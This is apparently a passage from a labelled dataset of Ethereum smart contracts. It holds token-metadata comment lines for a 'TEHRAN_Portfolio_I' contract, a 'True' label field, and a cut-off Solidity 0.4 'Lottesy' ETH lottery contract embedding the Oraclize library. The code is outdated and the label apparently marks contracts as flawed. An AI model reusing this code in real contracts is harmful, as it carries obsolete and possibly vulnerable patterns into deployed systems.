// < yva9qPHPK9KRQxI2tvQ014Rzdy16z8Wu2aO0n2m28oBCgBPgU5YfBZRmElB6Gj2D >
// < u =="0.000000000000000001" : ] 000001916006437.994380000000000000 ; 000001974212601.827640000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000B6B9804BC468CC >
// < TEHRAN_Portfolio_I_metadata_line_37_____Mazandaran_Cement_20250515 >
// < v63MfSre8ZYIHEe9Y4KC5p7TkZ1yGRn5m1tcyY9xRHJuEXKy9e9D1x5QlBZ3QCsg >
// < u =="0.000000000000000001" : ] 000001974212601.827640000000000000 ; 000002022950243.758070000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000BC468CCC0EC6F0 >
// < TEHRAN_Portfolio_I_metadata_line_38_____Tejarat_Bank_20250515 >
// < GqHPds8351RtcMFWlC7Br4YizCVYqNs0cqebOof6c9AvePio0cuz494TQjtJa49j >
// < u =="0.000000000000000001" : ] 000002022950243.758070000000000000 ; 000002061752131.332030000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000C0EC6F0C49FBED >
// < TEHRAN_Portfolio_I_metadata_line_39_____Ghazvin_Sugar_20250515 >
// < 1BM3s10ziD4aeqRO5eS5H91Kk9810r9CD5P0do8T05NB4f43Z2rK8Gfs9Md6Q7rS >
// < u =="0.000000000000000001" : ] 000002061752131.332030000000000000 ; 000002103894666.113420000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000C49FBEDC8A49DB >
// < TEHRAN_Portfolio_I_metadata_line_40_____Mashad_Wheel_20250515 >
// < mKRtx4cQf930aNdKWa2CNyN23F8gLJZcqmBpp4K9R8DtA38hhu7x68B9KU1KK36I >
// < u =="0.000000000000000001" : ] 000002103894666.113420000000000000 ; 000002140354551.050680000000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000C8A49DBCC1EBFF >
} | True | [
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] |
pragma solidity ^0.4.17;
// Lottesy 10 ETH lottery
// Copyright (c) 2017 Lottesy
// ----------------------------------------------------
// Send any amount multiple of 0.01 ETH to the address
// shown at http://lottesy.com
// Win 10 ETH today!
// ----------------------------------------------------
// We use Oraclize for the drawing
// Copyright (c) 2015-2017 Oraclize SRL
// Copyright (c) 2017 Oraclize LTD
// for more info visit https://oraclize.it
contract OraclizeI {
address public cbAddress;
function query(uint _timestamp, string _datasource, string _arg) payable returns (bytes32 _id);
function query_withGasLimit(uint _timestamp, string _datasource, string _arg, uint _gaslimit) payable returns (bytes32 _id);
function query2(uint _timestamp, string _datasource, string _arg1, string _arg2) payable returns (bytes32 _id);
function query2_withGasLimit(uint _timestamp, string _datasource, string _arg1, string _arg2, uint _gaslimit) payable returns (bytes32 _id);
function queryN(uint _timestamp, string _datasource, bytes _argN) payable returns (bytes32 _id);
function queryN_withGasLimit(uint _timestamp, string _datasource, bytes _argN, uint _gaslimit) payable returns (bytes32 _id);
function getPrice(string _datasource) returns (uint _dsprice);
function getPrice(string _datasource, uint gaslimit) returns (uint _dsprice);
function useCoupon(string _coupon);
function setProofType(byte _proofType);
function setConfig(bytes32 _config);
function setCustomGasPrice(uint _gasPrice);
function randomDS_getSessionPubKeyHash() returns(bytes32);
}
contract OraclizeAddrResolverI {
function getAddress() returns (address _addr);
}
contract usingOraclize {
uint constant day = 60*60*24;
uint constant week = 60*60*24*7;
uint constant month = 60*60*24*30;
byte constant proofType_NONE = 0x00;
byte constant proofType_TLSNotary = 0x10;
byte constant proofType_Android = 0x20;
byte constant proofType_Ledger = 0x30;
byte constant proofType_Native = 0xF0;
byte constant proofStorage_IPFS = 0x01;
uint8 constant networkID_auto = 0;
uint8 constant networkID_mainnet = 1;
uint8 constant networkID_testnet = 2;
uint8 constant networkID_morden = 2;
uint8 constant networkID_consensys = 161;
OraclizeAddrResolverI OAR;
OraclizeI oraclize;
modifier oraclizeAPI {
if((address(OAR)==0)||(getCodeSize(address(OAR))==0)) oraclize_setNetwork(networkID_auto);
oraclize = OraclizeI(OAR.getAddress());
_;
}
modifier coupon(string code){
oraclize = OraclizeI(OAR.getAddress());
oraclize.useCoupon(code);
_;
}
function oraclize_setNetwork(uint8 networkID) internal returns(bool){
if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed)>0){ //mainnet
OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed);
oraclize_setNetworkName("eth_mainnet");
return true;
}
if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1)>0){ //ropsten testnet
OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1);
oraclize_setNetworkName("eth_ropsten3");
return true;
}
if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e)>0){ //kovan testnet
OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e);
oraclize_setNetworkName("eth_kovan");
return true;
}
if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48)>0){ //rinkeby testnet
OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48);
oraclize_setNetworkName("eth_rinkeby");
return true;
}
if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475)>0){ //ethereum-bridge
OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475);
return true;
}
if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF)>0){ //ether.camp ide
OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF);
return true;
}
if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA)>0){ //browser-solidity
OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA);
return true;
}
return false;
}
function __callback(bytes32 myid, string result) {
__callback(myid, result, new bytes(0));
}
function __callback(bytes32 myid, string result, bytes proof) {
}
function oraclize_useCoupon(string code) oraclizeAPI internal {
oraclize.useCoupon(code);
}
function oraclize_getPrice(string datasource) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource);
}
function oraclize_getPrice(string datasource, uint gaslimit) oraclizeAPI internal returns (uint){
return oraclize.getPrice(datasource, gaslimit);
}
function oraclize_query(string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(0, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query.value(price)(timestamp, datasource, arg);
}
function oraclize_query(uint timestamp, string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(timestamp, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query_withGasLimit.value(price)(0, datasource, arg, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(0, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
return oraclize.query2.value(price)(timestamp, datasource, arg1, arg2);
}
function oraclize_query(uint timestamp, string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(timestamp, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string arg1, string arg2, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
return oraclize.query2_withGasLimit.value(price)(0, datasource, arg1, arg2, gaslimit);
}
function oraclize_query(string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = stra2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, string[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
string[] memory dynargs = new string[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(0, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource);
if (price > 1 ether + tx.gasprice*200000) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN.value(price)(timestamp, datasource, args);
}
function oraclize_query(uint timestamp, string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(timestamp, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[] argN, uint gaslimit) oraclizeAPI internal returns (bytes32 id){
uint price = oraclize.getPrice(datasource, gaslimit);
if (price > 1 ether + tx.gasprice*gaslimit) return 0; // unexpectedly high price
bytes memory args = ba2cbor(argN);
return oraclize.queryN_withGasLimit.value(price)(0, datasource, args, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[1] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](1);
dynargs[0] = args[0];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](2);
dynargs[0] = args[0];
dynargs[1] = args[1];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](3);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](4);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs);
}
function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(timestamp, datasource, dynargs, gaslimit);
}
function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) {
bytes[] memory dynargs = new bytes[](5);
dynargs[0] = args[0];
dynargs[1] = args[1];
dynargs[2] = args[2];
dynargs[3] = args[3];
dynargs[4] = args[4];
return oraclize_query(datasource, dynargs, gaslimit);
}
function oraclize_cbAddress() oraclizeAPI internal returns (address){
return oraclize.cbAddress();
}
function oraclize_setProof(byte proofP) oraclizeAPI internal {
return oraclize.setProofType(proofP);
}
function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal {
return oraclize.setCustomGasPrice(gasPrice);
}
function oraclize_setConfig(bytes32 config) oraclizeAPI internal {
return oraclize.setConfig(config);
}
function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){
return oraclize.randomDS_getSessionPubKeyHash();
}
function getCodeSize(address _addr) constant internal returns(uint _size) {
assembly {
_size := extcodesize(_addr)
}
}
function parseAddr(string _a) internal returns (address){
bytes memory tmp = bytes(_a);
uint160 iaddr = 0;
uint160 b1;
uint160 b2;
for (uint i=2; i<2+2*20; i+=2){
iaddr *= 256;
b1 = uint160(tmp[i]);
b2 = uint160(tmp[i+1]);
if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87;
else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55;
else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48;
if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87;
else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55;
else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48;
iaddr += (b1*16+b2);
}
return address(iaddr);
}
function strCompare(string _a, string _b) internal returns (int) {
bytes memory a = bytes(_a);
bytes memory b = bytes(_b);
uint minLength = a.length;
if (b.length < minLength) minLength = b.length;
for (uint i = 0; i < minLength; i ++)
if (a[i] < b[i])
return -1;
else if (a[i] > b[i])
return 1;
if (a.length < b.length)
return -1;
else if (a.length > b.length)
return 1;
else
return 0;
}
function indexOf(string _haystack, string _needle) internal returns (int) {
bytes memory h = bytes(_haystack);
bytes memory n = bytes(_needle);
if(h.length < 1 || n.length < 1 || (n.length > h.length))
return -1;
else if(h.length > (2**128 -1))
return -1;
else
{
uint subindex = 0;
for (uint i = 0; i < h.length; i ++)
{
if (h[i] == n[0])
{
subindex = 1;
while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex])
{
subindex++;
}
if(subindex == n.length)
return int(i);
}
}
return -1;
}
}
function strConcat(string _a, string _b, string _c, string _d, string _e) internal returns (string) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string _a, string _b, string _c, string _d) internal returns (string) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string _a, string _b, string _c) internal returns (string) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string _a, string _b) internal returns (string) {
return strConcat(_a, _b, "", "", "");
}
// parseInt
function parseInt(string _a) internal returns (uint) {
return parseInt(_a, 0);
}
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal returns (string){
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function stra2cbor(string[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
function ba2cbor(bytes[] arr) internal returns (bytes) {
uint arrlen = arr.length;
// get correct cbor output length
uint outputlen = 0;
bytes[] memory elemArray = new bytes[](arrlen);
for (uint i = 0; i < arrlen; i++) {
elemArray[i] = (bytes(arr[i]));
outputlen += elemArray[i].length + (elemArray[i].length - 1)/23 + 3; //+3 accounts for paired identifier types
}
uint ctr = 0;
uint cborlen = arrlen + 0x80;
outputlen += byte(cborlen).length;
bytes memory res = new bytes(outputlen);
while (byte(cborlen).length > ctr) {
res[ctr] = byte(cborlen)[ctr];
ctr++;
}
for (i = 0; i < arrlen; i++) {
res[ctr] = 0x5F;
ctr++;
for (uint x = 0; x < elemArray[i].length; x++) {
// if there's a bug with larger strings, this may be the culprit
if (x % 23 == 0) {
uint elemcborlen = elemArray[i].length - x >= 24 ? 23 : elemArray[i].length - x;
elemcborlen += 0x40;
uint lctr = ctr;
while (byte(elemcborlen).length > ctr - lctr) {
res[ctr] = byte(elemcborlen)[ctr - lctr];
ctr++;
}
}
res[ctr] = elemArray[i][x];
ctr++;
}
res[ctr] = 0xFF;
ctr++;
}
return res;
}
string oraclize_network_name;
function oraclize_setNetworkName(string _network_name) internal {
oraclize_network_name = _network_name;
}
function oraclize_getNetworkName() internal returns (string) {
return oraclize_network_name;
}
function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){
if ((_nbytes == 0)||(_nbytes > 32)) throw;
bytes memory nbytes = new bytes(1);
nbytes[0] = byte(_nbytes);
bytes memory unonce = new bytes(32);
bytes memory sessionKeyHash = new bytes(32);
bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash();
assembly {
mstore(unonce, 0x20)
mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp)))
mstore(sessionKeyHash, 0x20)
mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32)
}
bytes[3] memory args = [unonce, nbytes, sessionKeyHash];
bytes32 queryId = oraclize_query(_delay, "random", args, _customGasLimit);
oraclize_randomDS_setCommitment(queryId, sha3(bytes8(_delay), args[1], sha256(args[0]), args[2]));
return queryId;
}
function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal {
oraclize_randomDS_args[queryId] = commitment;
}
mapping(bytes32=>bytes32) oraclize_randomDS_args;
mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified;
function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){
bool sigok;
address signer;
bytes32 sigr;
bytes32 sigs;
bytes memory sigr_ = new bytes(32);
uint offset = 4+(uint(dersig[3]) - 0x20);
sigr_ = copyBytes(dersig, offset, 32, sigr_, 0);
bytes memory sigs_ = new bytes(32);
offset += 32 + 2;
sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0);
assembly {
sigr := mload(add(sigr_, 32))
sigs := mload(add(sigs_, 32))
}
